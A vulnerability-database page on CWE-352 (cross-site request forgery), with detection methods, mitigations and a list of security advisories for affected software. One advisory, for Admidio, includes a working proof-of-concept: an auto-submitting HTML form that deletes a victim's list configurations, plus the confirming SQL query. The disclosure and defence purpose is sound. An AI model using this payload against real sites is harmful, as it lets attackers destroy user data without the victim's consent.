CWE-352
Weakness AllowedCross-Site Request Forgery
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
Mapping guidance
This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.
While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.
Relationships and members
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.
Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.
Effectiveness: High
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Automated Static Analysis
CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.
Effectiveness: Limited
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: SOAR Partial
Notes
Relationship
There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.
Theoretical
The CSRF topology is multi-channel:
Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
Intermediary (as user) to server (as victim). The activation point is an internal channel.
Content history
Contributed usability diagram concepts used by the CWE team.
updated Time_of_Introduction
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
updated Potential_Mitigations
Added demonstrative example for profile.
updated Demonstrative_Examples, Related_Attack_Patterns
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Description
updated Common_Consequences
updated Relationships
updated Potential_Mitigations, References
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Relationships
updated References, Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
updated References, Relationship_Notes, Research_Gaps
updated Relationships
updated Relationships
updated Relationships, Theoretical_Notes
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated References, Relationships
updated Mapping_Notes, Relationships
updated Relationships
updated Alternate_Terms, Common_Consequences, Description, Diagram
updated Detection_Factors, Potential_Mitigations, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Name, References, Relationships, Taxonomy_Mappings
15007 vulnerabilities reference this CWE, most recent first.
GHSA-G3MX-8JM6-RC85
Vulnerability from github – Published: 2026-03-31 23:10 – Updated: 2026-04-06 19:41Reported by: Juan Felipe Oz @JF0x0r
Summary
The delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.
Vulnerable Code
File: modules/groups-roles/mylist_function.php
The CSRF token validation at lines 81–82 is scoped exclusively to the save, save_as, and save_temporary modes:
// Line 81-82 — only runs for save modes
$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {
throw new Exception('Invalid or missing CSRF token!');
}
The delete case at lines 159–161 executes the destructive operation with no token check:
} elseif ($getMode === 'delete') {
// delete list configuration
$list->delete(); // no CSRF validation
echo json_encode(array('status' => 'success', ...));
exit();
}
A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LAST_NAME is sufficient.
Impact
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lst_global = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.
Proof of Concept
First my video PoC, after that, the proof of concept with detail.
-
Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)
-
Step 1: Attacker serves this page from any HTTP origin:
<!DOCTYPE html>
<html>
<body>
<form id="f" method="POST"
action="http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID">
<input type="hidden" name="column[]" value="LAST_NAME">
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?
- Step 2: Victim visits the attacker page while logged into Admidio.
- Step 3: Server responds immediately:
{"status":"success","url":".../modules/groups-roles/mylist.php"}
- Step 4: List is permanently deleted. Verified via:
SELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';
-- Empty result set
No
adm_csrf_tokenfield is required anywhere in the request.
Recommendation Fix:
It's so simple.
- Apply the same
SecurityUtils::validateCsrfToken()pattern already used in the save modes:
} elseif ($getMode === 'delete') {
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$list->delete();
echo json_encode(array('status' => 'success', ...));
exit();
}
Additionally, the column[] input guard at lines 40–48 should be moved inside the in_array($getMode, ['save', 'save_as', 'save_temporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.7"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34382"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:10:41Z",
"nvd_published_at": "2026-03-31T21:16:30Z",
"severity": "MODERATE"
},
"details": "**Reported by:** Juan Felipe Oz [@JF0x0r](https://x.com/PwnedRar_)\n\u003e [LinkedIn](https://www.linkedin.com/in/juanfelipeoz/)\n\n### Summary\n\nThe `delete` mode handler in `mylist_function.php` permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user\u0027s list configurations \u2014 including organization-wide shared lists when the victim holds administrator rights.\n\n### Vulnerable Code\nFile: `modules/groups-roles/mylist_function.php`\n\nThe CSRF token validation at lines **81\u201382** is scoped exclusively to the save, save_as, and save_temporary modes:\n\n```php\n// Line 81-82 \u2014 only runs for save modes\n$categoryReportConfigForm = $gCurrentSession-\u003egetFormObject($_POST[\u0027adm_csrf_token\u0027]);\nif ($_POST[\u0027adm_csrf_token\u0027] !== $categoryReportConfigForm-\u003egetCsrfToken()) {\n throw new Exception(\u0027Invalid or missing CSRF token!\u0027);\n}\n```\n\n\u003cimg width=\"857\" height=\"162\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d\" /\u003e\n\nThe `delete` case at lines **159\u2013161** executes the destructive operation with no token check:\n\n```php\n} elseif ($getMode === \u0027delete\u0027) {\n // delete list configuration\n $list-\u003edelete(); // no CSRF validation\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, ...));\n exit();\n}\n```\n\n\u003cimg width=\"560\" height=\"133\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69\" /\u003e\n\nA global input guard at lines **40\u201348** requires a non-empty `column[]` POST parameter for all modes including `delete`. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as `LAST_NAME` is sufficient.\n\n### Impact\n\nAny authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (`lst_global = 1`): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.\n\n---\n\n### Proof of Concept\n\n\u003e First my video PoC, after that, the proof of concept with detail. \n\n[Watch Video](https://drive.google.com/file/d/1wEdTIH7O0PvlnyjR2I_VpcAl3tvr6saA/view?usp=sharing)\n\n* Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)\n\n1. Step 1: Attacker serves this page from any HTTP origin:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n \u003cform id=\"f\" method=\"POST\"\n action=\"http://TARGET/modules/groups-roles/mylist_function.php?mode=delete\u0026list_uuid=TARGET_UUID\"\u003e\n \u003cinput type=\"hidden\" name=\"column[]\" value=\"LAST_NAME\"\u003e\n \u003c/form\u003e\n \u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003e Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok? \n\n2. Step 2: Victim visits the attacker page while logged into Admidio.\n3. Step 3: Server responds immediately:\n\n```json\n{\"status\":\"success\",\"url\":\".../modules/groups-roles/mylist.php\"}\n```\n\n4. Step 4: List is permanently deleted. Verified via:\n```sql\nSELECT lst_name FROM adm_lists WHERE lst_uuid=\u0027TARGET_UUID\u0027;\n-- Empty result set\n```\n\u003e No `adm_csrf_token` field is required anywhere in the request.\n\n### Recommendation Fix: \n\n\u003e It\u0027s so simple. \n\n* Apply the same `SecurityUtils::validateCsrfToken()` pattern already used in the save modes:\n\n```php\n} elseif ($getMode === \u0027delete\u0027) {\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n $list-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, ...));\n exit();\n}\n```\n\nAdditionally, the `column[]` input guard at lines **40\u201348** should be moved inside the `in_array($getMode, [\u0027save\u0027, \u0027save_as\u0027, \u0027save_temporary\u0027])` block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.\n\n\u003cimg width=\"751\" height=\"240\" alt=\"imagen\" src=\"https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8\" /\u003e",
"id": "GHSA-g3mx-8jm6-rc85",
"modified": "2026-04-06T19:41:46Z",
"published": "2026-03-31T23:10:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-g3mx-8jm6-rc85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34382"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/commit/317ec91ad3baf19d4179db6c32413812eb36d7ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Admidio has Missing CSRF Protections on Custom List Deletion in mylist_function.php"
}
GHSA-G3P5-97QH-Q84R
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31The Whatsiplus Scheduled Notification for Woocommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing nonce validation on the 'wsnfw_save_users_settings' AJAX action. This makes it possible for unauthenticated attackers to modify plugin configuration settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2026-1455"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T07:17:44Z",
"severity": "MODERATE"
},
"details": "The Whatsiplus Scheduled Notification for Woocommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing nonce validation on the \u0027wsnfw_save_users_settings\u0027 AJAX action. This makes it possible for unauthenticated attackers to modify plugin configuration settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-g3p5-97qh-q84r",
"modified": "2026-02-19T18:31:50Z",
"published": "2026-02-19T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1455"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/whatsiplus-scheduled-notification-for-woocommerce/tags/1.0.1/inc/wsnfw-ajax-request.php#L84"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/whatsiplus-scheduled-notification-for-woocommerce/tags/1.0.1/inc/wsnfw-ajax-request.php#L85"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e466640e-de66-42f0-b56b-226db32d382d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G3P8-WF9W-RF82
Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36phpList before 3.7.0-RC5 contains a cross-site request forgery (CSRF) vulnerability in lists/admin/admins.php. The administrator deletion action is triggered via an unauthenticated GET request (?page=admins&delete=N) that is not protected by a CSRF token (the central verifyCsrfGetToken check uses enforce=false and is bypassed when the token parameter is absent). A remote attacker can trick a logged-in super-administrator into loading a crafted URL (e.g., embedded as an image in an email) to delete any non-self administrator account.
{
"affected": [],
"aliases": [
"CVE-2026-73482"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T19:17:34Z",
"severity": "HIGH"
},
"details": "phpList before 3.7.0-RC5 contains a cross-site request forgery (CSRF) vulnerability in lists/admin/admins.php. The administrator deletion action is triggered via an unauthenticated GET request (?page=admins\u0026delete=N) that is not protected by a CSRF token (the central verifyCsrfGetToken check uses enforce=false and is bypassed when the token parameter is absent). A remote attacker can trick a logged-in super-administrator into loading a crafted URL (e.g., embedded as an image in an email) to delete any non-self administrator account.",
"id": "GHSA-g3p8-wf9w-rf82",
"modified": "2026-08-13T21:36:05Z",
"published": "2026-08-13T21:36:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73482"
},
{
"type": "WEB",
"url": "https://github.com/phpList/phplist3/issues/1117"
},
{
"type": "WEB",
"url": "https://github.com/phpList/phplist3/pull/1121"
},
{
"type": "WEB",
"url": "https://github.com/phpList/phplist3/commit/5159c3ed33a5674a8169472b50d146d97f630746"
},
{
"type": "WEB",
"url": "https://github.com/phpList/phplist3/releases/tag/v3.7.0-RC5"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/phplist-rc5-cross-site-request-forgery-via-admins-php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G3PX-65R8-WFGX
Vulnerability from github – Published: 2023-10-20 09:30 – Updated: 2024-04-04 08:50The Woody code snippets plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.3.9. This is due to missing or incorrect nonce validation on the runActions() function. This makes it possible for unauthenticated attackers to activate and deactivate snippets via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2020-36759"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-20T08:15:11Z",
"severity": "MODERATE"
},
"details": "The Woody code snippets plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.3.9. This is due to missing or incorrect nonce validation on the runActions() function. This makes it possible for unauthenticated attackers to activate and deactivate snippets via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-g3px-65r8-wfgx",
"modified": "2024-04-04T08:50:22Z",
"published": "2023-10-20T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36759"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/25-wordpress-plugins-vulnerable-to-csrf-attacks"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/more-wordpress-plugins-and-themes-vulnerable-to-csrf-attacks"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-1"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-2"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-3"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-4"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/multiple-wordpress-plugins-fixed-csrf-vulnerabilities-part-5"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2368332%40insert-php\u0026new=2368332%40insert-php\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e573c0a4-d053-400b-828c-0d0eca880776?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G3PX-G25W-Q6H8
Vulnerability from github – Published: 2023-02-28 18:30 – Updated: 2023-03-04 06:30Cross-site request forgery is facilitated by OpenCATS failure to require CSRF tokens in POST requests. An attacker can exploit this issue by creating a dummy page that executes Javascript in an authenticated user's session when visited.
{
"affected": [],
"aliases": [
"CVE-2023-27295"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-28T17:15:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery is facilitated by OpenCATS failure to require CSRF tokens in POST requests. An attacker can exploit this issue by creating a dummy page that executes Javascript in an authenticated user\u0027s session when visited.",
"id": "GHSA-g3px-g25w-q6h8",
"modified": "2023-03-04T06:30:22Z",
"published": "2023-02-28T18:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27295"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2023-8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G3RG-CJ5X-3VPF
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2024-01-30 22:26A cross-site request forgery vulnerability in Jenkins jenkins-reviewbot Plugin in the ReviewboardDescriptor#doTestConnection form validation method allows attackers to initiate a connection to an attacker-specified server.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:jenkins-reviewbot"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10278"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T22:26:13Z",
"nvd_published_at": "2019-04-04T16:29:00Z",
"severity": "MODERATE"
},
"details": "A cross-site request forgery vulnerability in Jenkins jenkins-reviewbot Plugin in the ReviewboardDescriptor#doTestConnection form validation method allows attackers to initiate a connection to an attacker-specified server.",
"id": "GHSA-g3rg-cj5x-3vpf",
"modified": "2024-01-30T22:26:13Z",
"published": "2022-05-13T01:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10278"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-04-03/#SECURITY-1091"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/04/12/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107790"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "CSRF vulnerability in jenkins-reviewbot Plugin"
}
GHSA-G3XF-85WC-45GQ
Vulnerability from github – Published: 2022-05-24 17:21 – Updated: 2024-04-24 19:55modules\users\admin\edit.php in NukeViet 4.4 allows CSRF to change a user's password via an admin/index.php?nv=users&op=edit&userid= URI. The old password is not needed.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "nukeviet/nukeviet"
},
"versions": [
"4.4"
]
}
],
"aliases": [
"CVE-2020-13157"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T19:55:07Z",
"nvd_published_at": "2020-06-23T20:15:00Z",
"severity": "MODERATE"
},
"details": "`modules\\users\\admin\\edit.php` in NukeViet 4.4 allows CSRF to change a user\u0027s password via an `admin/index.php?nv=users\u0026op=edit\u0026userid=` URI. The old password is not needed.",
"id": "GHSA-g3xf-85wc-45gq",
"modified": "2024-04-24T19:55:07Z",
"published": "2022-05-24T17:21:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13157"
},
{
"type": "PACKAGE",
"url": "https://github.com/nukeviet/nukeviet"
},
{
"type": "WEB",
"url": "https://nukeviet.vn/en"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48489"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "NukeViet Cross-Site Request Forgery (CSRF)"
}
GHSA-G42V-RGP3-94Q5
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10Cross Site Request Forgery (CSRF) vulnerability exists in DamiCMS v6.0.6 that can add an admin account via admin.php?s=/Admin/doadd.
{
"affected": [],
"aliases": [
"CVE-2020-18458"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-12T19:15:00Z",
"severity": "HIGH"
},
"details": "Cross Site Request Forgery (CSRF) vulnerability exists in DamiCMS v6.0.6 that can add an admin account via admin.php?s=/Admin/doadd.",
"id": "GHSA-g42v-rgp3-94q5",
"modified": "2022-05-24T19:10:49Z",
"published": "2022-05-24T19:10:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-18458"
},
{
"type": "WEB",
"url": "https://github.com/AutismJH/damicms/issues/5"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G436-H983-FFPF
Vulnerability from github – Published: 2026-02-07 00:30 – Updated: 2026-02-07 00:30Wing FTP Server versions prior to 6.2.7 contain a cross-site request forgery (CSRF) vulnerability in the web administration interface that allows attackers to delete admin users. Attackers can craft a malicious HTML page with a hidden form to submit a request that deletes the administrative user account without proper authorization.
{
"affected": [],
"aliases": [
"CVE-2020-37079"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-07T00:15:53Z",
"severity": "MODERATE"
},
"details": "Wing FTP Server versions prior to 6.2.7 contain a cross-site request forgery (CSRF) vulnerability in the web administration interface that allows attackers to delete admin users. Attackers can craft a malicious HTML page with a hidden form to submit a request that deletes the administrative user account without proper authorization.",
"id": "GHSA-g436-h983-ffpf",
"modified": "2026-02-07T00:30:28Z",
"published": "2026-02-07T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37079"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48200"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/wing-ftp-server-cross-site-request-forgery"
},
{
"type": "WEB",
"url": "https://www.wftpserver.com"
},
{
"type": "WEB",
"url": "https://www.wftpserver.com/serverhistory.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G43M-R7JR-63Q9
Vulnerability from github – Published: 2026-01-23 15:31 – Updated: 2026-01-27 21:31Cross-Site Request Forgery (CSRF) vulnerability in Paolo GeoDirectory geodirectory allows Cross Site Request Forgery.This issue affects GeoDirectory: from n/a through <= 2.8.147.
{
"affected": [],
"aliases": [
"CVE-2026-24549"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-23T15:16:11Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Paolo GeoDirectory geodirectory allows Cross Site Request Forgery.This issue affects GeoDirectory: from n/a through \u003c= 2.8.147.",
"id": "GHSA-g43m-r7jr-63q9",
"modified": "2026-01-27T21:31:45Z",
"published": "2026-01-23T15:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24549"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/geodirectory/vulnerability/wordpress-geodirectory-plugin-2-8-147-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
